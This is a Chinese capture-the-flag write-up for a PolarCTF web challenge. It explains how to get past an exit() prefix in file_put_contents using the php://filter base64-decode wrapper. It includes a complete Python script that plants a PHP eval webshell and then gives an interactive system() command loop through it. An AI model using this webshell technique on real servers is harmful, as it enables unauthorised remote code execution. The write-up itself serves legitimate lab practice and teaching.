Polar Web【中等】写shell

思路&探索

初看题目,预测需要对站点写入木马,具体操作需要在过程中逐步实现。

  1. 打开站点(见下图),出现 file_put_contents 函数,其中接收 GET 参数 filename
  2. 同时发现存在半封闭形式的PHP代码 exit() 会导致直接退出程序,其后又连接一个 POST 参数 content,符合死亡绕过的特征,因此考虑使用 php:// 伪协议中的base64解码器来写入木马
  3. 本文采用脚本方式实现木马的绕过、写入以及Webshell的交互逻辑

index

EXP

from requests import post, get
import base64


def attack(url, cmd):
    data = {
        'cmd': cmd
    }
    resp = post(url, data).text
    if resp:
        print(resp)
    else:
        print("Nothing...")


def insert_shell(url):
    sh = '<?php @eval($_POST["cmd"]);?>'
    sh = '0' + base64.b64encode(sh.encode()).decode() # base64加密结果前需要引入编码范围内的任意字符,
    data = {
        'content': sh,
    }
    url_ = url + '?filename=php://filter/convert.base64-decode/resource=404.php' # 文件名自定义
    _ = post(url=url_, data=data)
    print(url + '404.php')
    if get(url + '404.php').content:
        return 1
    else:
        return 0


if __name__ == '__main__':
    u = 'http://~.www.polarctf.com:8090/'
    if insert_shell(u):
        print(">> Insert success!\n")
        u += '404.php'
        while True:
            command = input(">> ")
            if command == 'quit':
                break
            command = 'system("' + command + '");'
            attack(url=u, cmd=command)
    else:
        print("Insert Fail..")

运行&总结

测试
run

  • 注意首页PHP代码中半封闭的那部分代码,需要在 base64 编码结果前插入 hex 范围内的任一字符,或者直接采用人为封闭并另起PHP代码块的方式,而本文采用的是前者。
  • 本文也随即演示了 base64 编码在Python中的实现方式。






敬,不完美的明天

点赞(0) 打赏

评论列表 共有 0 条评论

暂无评论

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部